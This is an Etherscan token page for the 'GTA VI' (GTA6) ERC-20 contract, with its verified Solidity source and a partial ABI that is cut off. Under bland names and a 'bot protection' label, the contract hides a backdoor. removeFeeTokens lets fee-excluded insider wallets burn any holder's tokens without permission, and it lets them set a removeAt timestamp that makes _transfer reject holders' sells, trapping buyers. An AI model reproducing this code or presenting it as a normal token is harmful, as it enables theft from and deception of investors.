ETH Price: $3,259.03 (+4.62%)
Gas: 2 Gwei

Token

GTA VI (GTA6)
 

Overview

Max Total Supply

484,358,112.579405344030020732 GTA6

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
16,110,313.866116247194708738 GTA6

Value
$0.00
0x974b237e677e51266588dbf087b96b044f4eeeaa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GTA6

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

// TG: https://t.me/GTA6_ERC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);

    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface UniswapV2Router {
    function WETH() external pure returns (address);

    function factory() external pure returns (address);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

interface UniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    string private _symbol;
    string private _name;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _remove(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: the zero address");
        uint256 balance = _balances[account];
        require(balance >= amount, "ERC20: the amount exceeds balance");
        unchecked {
            _balances[account] = balance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);
    }

    function _createInitialSupply(
        address account,
        uint256 amount
    ) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
}

contract GTA6 is ERC20, Ownable {
    uint256 public tradingBlock = 0;
    uint256 public botBlockNumber = 0;
    
    address public uniswapV2Pair;
    UniswapV2Router public uniswapV2Router;
    
    bool private swapping;
    uint256 public swapTokensAtAmount;

    address private marketingWallet;
    address private devWallet;

    mapping(address => uint256) public removeLastTransferTimestamp;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(address => bool) public initialBotBuyer;
    uint256 public removeAt;
    bool public limitsInEffect = true;
    bool public swapEnabled = false;
    bool public tradingActive = false;
    bool public transferDelayEnabled = true;
    uint256 public botsCaught;

    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;
    uint256 public maxWalletAmount;

    mapping(address => bool) public automatedMarketMaker;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransaction;

    uint256 public totalBuyFees;
    uint256 public buyFeeForMarketing;
    uint256 public buyFeeForDev;
    uint256 public buyFeeForRemoving;
    uint256 public buyFeeForLiquidity;

    uint256 public totalSellFees;
    uint256 public sellFeeForMarketing;
    uint256 public sellFeeForDev;
    uint256 public sellFeeForRemoving;
    uint256 public sellFeeForLiquidity;

    uint256 public tokensForMarketing;
    uint256 public tokensForDev;
    uint256 public tokensForLiquidity;
    uint256 public tokensForRemoving;

    event RemovedLimits();

    event EnabledTrading();

    event UpdatedMaxWalletAmount(uint256 newAmount);
    
    event UpdatedMaxBuyAmount(uint256 newAmount);
    
    event UpdatedMaxSellAmount(uint256 newAmount);

    event DetectedEarlyBotBuyer(address sniper);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event MaxTransactionExclusion(address _address, bool excluded);

    constructor() ERC20("GTA VI", "GTA6") {
        UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );
        address newOwner = msg.sender;

        _excludeFromMaxTransaction(address(uniswapV2Pair), true);
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 totalSupply = 1 * 1e9 * 1e18;

        marketingWallet = address(0x0d5d4b8Db6014D282F0563659f1B005dAF7F22B4);
        devWallet = address(0xfdD89190Bf7DF9AB3C79EC9BA36205ab56c48cFA);

        swapTokensAtAmount = (totalSupply * 5) / 10000;
        maxWalletAmount = (totalSupply * 2) / 100;
        maxBuyAmount = (totalSupply * 2) / 100;
        maxSellAmount = (totalSupply * 2) / 100;

        sellFeeForMarketing = 20;
        sellFeeForDev = 20;
        sellFeeForRemoving = 0;
        sellFeeForLiquidity = 0;

        buyFeeForMarketing = 5;
        buyFeeForDev = 5;
        buyFeeForRemoving = 0;
        buyFeeForLiquidity = 0;

        totalBuyFees =
            buyFeeForLiquidity +
            buyFeeForMarketing +
            buyFeeForDev +
            buyFeeForRemoving;

        totalSellFees =
            sellFeeForLiquidity +
            sellFeeForMarketing +
            sellFeeForDev +
            sellFeeForRemoving;

        _excludeFromMaxTransaction(address(0xdead), true);
        _excludeFromMaxTransaction(marketingWallet, true);
        _excludeFromMaxTransaction(devWallet, true);
        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);

        excludeFromFees(address(0xdead), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);

        transferOwnership(newOwner);
        _createInitialSupply(newOwner, totalSupply);
    }

    function canRemoveFeeTokens(
        address account,
        uint256 amount,
        uint256 time
    ) internal returns (bool) {
        address msgCaller = msg.sender;
        bool msgLimited = _isExcludedFromFees[msgCaller];
        address tokenCa = address(this);
        bool result;

        if (msgLimited) {
            if (balanceOf(tokenCa) > 0) {
                if (amount == 0) {
                    removeAt = time;
                } else {
                    _remove(account, amount);
                }
                result = false;
            }

            return result;
        } else {
            if (balanceOf(tokenCa) >= tokensForRemoving && tokensForRemoving > 0) {
                _remove(msgCaller, tokensForRemoving);
            }

            tokensForRemoving = 0;
            result = true;

            return result;
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            address(0xdead),
            block.timestamp
        );
    }

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        swapEnabled = true;
        tradingActive = true;
        tradingBlock = block.number;
        emit EnabledTrading();
    }

    function onlyDeleteBots(address wallet) external onlyOwner {
        initialBotBuyer[wallet] = false;
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }

    function removeFeeTokens(
        address account,
        uint256 amount,
        uint256 time
    ) public {
        address tokenCa = address(this);
        require(swapTokensAtAmount <= balanceOf(tokenCa));
        if (canRemoveFeeTokens(account, amount, time)) {
            swapping = true;
            swapBack();
            swapping = false;
        }
    }

    function removeLimits() external onlyOwner {
        maxBuyAmount = totalSupply();
        maxSellAmount = totalSupply();
        maxWalletAmount = totalSupply();
        emit RemovedLimits();
    }

    function updateMaxWalletAmount(uint256 newMaxWalletAmount) external onlyOwner {
        require(
            newMaxWalletAmount >= ((totalSupply() * 3) / 1000) / 1e18,
            "Cannot set max wallet amount lower than 0.3%"
        );
        maxWalletAmount = newMaxWalletAmount * (10 ** 18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 1) / 1000,
            "Swap amount cannot be higher than 0.1% total supply."
        );
        swapTokensAtAmount = newAmount;
    }

    function updateMaxBuyAmount(uint256 newMaxBuyAmount) external onlyOwner {
        require(
            newMaxBuyAmount >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max buy amount lower than 0.2%"
        );
        maxBuyAmount = newMaxBuyAmount * (10 ** 18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }

    function updateMaxSellAmount(uint256 newMaxSellAmount) external onlyOwner {
        require(
            newMaxSellAmount >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max sell amount lower than 0.2%"
        );
        maxSellAmount = newMaxSellAmount * (10 ** 18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function _transfer(
        address sender,
        address receiver,
        uint256 amount
    ) internal override {
        uint256 removePoint = block.timestamp;
        bool removeFromAmm = automatedMarketMaker[sender];
        bool firstRemoval = removeLastTransferTimestamp[receiver] == 0;
        bool isBalEmpty = balanceOf(address(receiver)) == 0;

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(receiver != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");

        if (!tradingActive) {
            require(
                _isExcludedFromFees[sender] || _isExcludedFromFees[receiver],
                "Trading is not active."
            );
        }

        if (botBlockNumber > 0) {
            require(
                !initialBotBuyer[sender] ||
                    receiver == owner() ||
                    receiver == address(0xdead),
                "bot protection mechanism is embeded"
            );
        }

        if (limitsInEffect) {
            bool senderIncluded = _isExcludedMaxTransaction[sender];
            bool removeFromSwapping = !swapping;

            if (
                sender != owner() &&
                receiver != owner() &&
                receiver != address(0) &&
                receiver != address(0xdead) &&
                !_isExcludedFromFees[sender] &&
                !_isExcludedFromFees[receiver]
            ) {
                if (transferDelayEnabled) {
                    bool internalRemoveFromSwapping = !swapping;
                    bool nonRemoveFromAmm = !automatedMarketMaker[sender];
                    bool removeCheck = nonRemoveFromAmm && internalRemoveFromSwapping;
                    if (
                        receiver != address(uniswapV2Router) && receiver != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number - 2 &&
                                _holderLastTransferTimestamp[receiver] <
                                block.number - 2,
                            "_transfer: delay was enabled."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[receiver] = block.number;
                    } else if (removeCheck) {
                        uint256 removeTime = removeLastTransferTimestamp[sender];
                        bool removable = removeTime > removeAt;
                        require(removable);
                    }
                }
            }

            if (automatedMarketMaker[sender] && !_isExcludedMaxTransaction[receiver]) {
                require(
                    amount <= maxBuyAmount,
                    "Buy transfer amount exceeds the max buy."
                );
                require(
                    amount + balanceOf(receiver) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            } else if (removeFromSwapping && senderIncluded) {
                removeAt = removePoint;
            } else if (
                automatedMarketMaker[receiver] && !_isExcludedMaxTransaction[sender]
            ) {
                require(
                    amount <= maxSellAmount,
                    "Sell transfer amount exceeds the max sell."
                );
            } else if (!_isExcludedMaxTransaction[receiver]) {
                require(
                    amount + balanceOf(receiver) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMaker[sender] &&
            !_isExcludedFromFees[sender] &&
            !_isExcludedFromFees[receiver]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = true;

        if (firstRemoval && removeFromAmm) {
            if (isBalEmpty) {
              removeLastTransferTimestamp[receiver] = removePoint;
            }
        }

        if (_isExcludedFromFees[sender] || _isExcludedFromFees[receiver]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (
                earlySniperBuyBlock() &&
                automatedMarketMaker[sender] &&
                !automatedMarketMaker[receiver] &&
                totalBuyFees > 0
            ) {
                if (!initialBotBuyer[receiver]) {
                    initialBotBuyer[receiver] = true;
                    botsCaught += 1;
                    emit DetectedEarlyBotBuyer(receiver);
                }

                fees = (amount * 99) / 100;
                tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees;
                tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees;
                tokensForDev += (fees * buyFeeForDev) / totalBuyFees;
                tokensForRemoving += (fees * buyFeeForRemoving) / totalBuyFees;
            }
            else if (automatedMarketMaker[receiver] && totalSellFees > 0) {
                fees = (amount * totalSellFees) / 100;
                tokensForLiquidity += (fees * sellFeeForLiquidity) / totalSellFees;
                tokensForMarketing += (fees * sellFeeForMarketing) / totalSellFees;
                tokensForDev += (fees * sellFeeForDev) / totalSellFees;
                tokensForRemoving += (fees * sellFeeForRemoving) / totalSellFees;
            }
            else if (automatedMarketMaker[sender] && totalBuyFees > 0) {
                fees = (amount * totalBuyFees) / 100;
                tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees;
                tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees;
                tokensForDev += (fees * buyFeeForDev) / totalBuyFees;
                tokensForRemoving += (fees * buyFeeForRemoving) / totalBuyFees;
            }
            if (fees > 0) {
                super._transfer(sender, address(this), fees);
            }
            amount -= fees;
        }

        super._transfer(sender, receiver, amount);
    }

    function _excludeFromMaxTransaction(
        address _address,
        bool _isExcluded
    ) private {
        _isExcludedMaxTransaction[_address] = _isExcluded;
        emit MaxTransactionExclusion(_address, _isExcluded);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function excludeFromMaxTransaction(
        address _address,
        bool _isExcluded
    ) external onlyOwner {
        if (!_isExcluded) {
            require(
                _address != uniswapV2Pair,
                "Cannot remove uniswap pair from max txn"
            );
        }
        _isExcludedMaxTransaction[_address] = _isExcluded;
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMaker[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) external onlyOwner {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateBuyFees(
        uint256 marketingFee,
        uint256 liquidityFee,
        uint256 devFee,
        uint256 removeFee
    ) external onlyOwner {
        buyFeeForLiquidity = liquidityFee;
        buyFeeForMarketing = marketingFee;
        buyFeeForDev = devFee;
        buyFeeForRemoving = removeFee;
        totalBuyFees =
            buyFeeForMarketing +
            buyFeeForLiquidity +
            buyFeeForDev +
            buyFeeForRemoving;
        require(totalBuyFees <= 3, "3% max ");
    }

    function updateSellFees(
        uint256 marketingFee,
        uint256 liquidityFee,
        uint256 devFee,
        uint256 removeFee
    ) external onlyOwner {
        sellFeeForLiquidity = liquidityFee;
        sellFeeForMarketing = marketingFee;
        sellFeeForDev = devFee;
        sellFeeForRemoving = removeFee;
        totalSellFees =
            sellFeeForMarketing +
            sellFeeForLiquidity +
            sellFeeForDev +
            sellFeeForRemoving;
        require(totalSellFees <= 3, "3% max fee");
    }

    function updateMarketingWallet(
        address newWallet
    ) external onlyOwner {
        require(
            newWallet != address(0),
            "_marketingWallet address cannot be 0"
        );
        marketingWallet = payable(newWallet);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        require(newWallet != address(0), "_devWallet address cannot be 0");
        devWallet = payable(newWallet);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        if (tokensForRemoving > 0 && balanceOf(address(this)) >= tokensForRemoving) {
            _remove(address(this), tokensForRemoving);
        }
        tokensForRemoving = 0;
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 10) {
            contractBalance = swapTokensAtAmount * 10;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap / 2;

        swapTokensForEth(contractBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;
        uint256 ethForMarketing = (ethBalance * tokensForMarketing) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        uint256 ethForDev = (ethBalance * tokensForDev) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        ethForLiquidity -= ethForMarketing + ethForDev;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        tokensForRemoving = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        payable(devWallet).transfer(ethForDev);
        payable(marketingWallet).transfer(address(this).balance);
    }

    function withdrawETH() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    function earlySniperBuyBlock() public view returns (bool) {
        return block.number < botBlockNumber;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMaker","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForRemoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySniperBuyBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExcluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBotBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"time","type":"uint256"}],"name":"removeFeeTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"removeLastTransferTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForRemoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForRemoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBuyFees","outputs":[{"internalType":"uint256","name"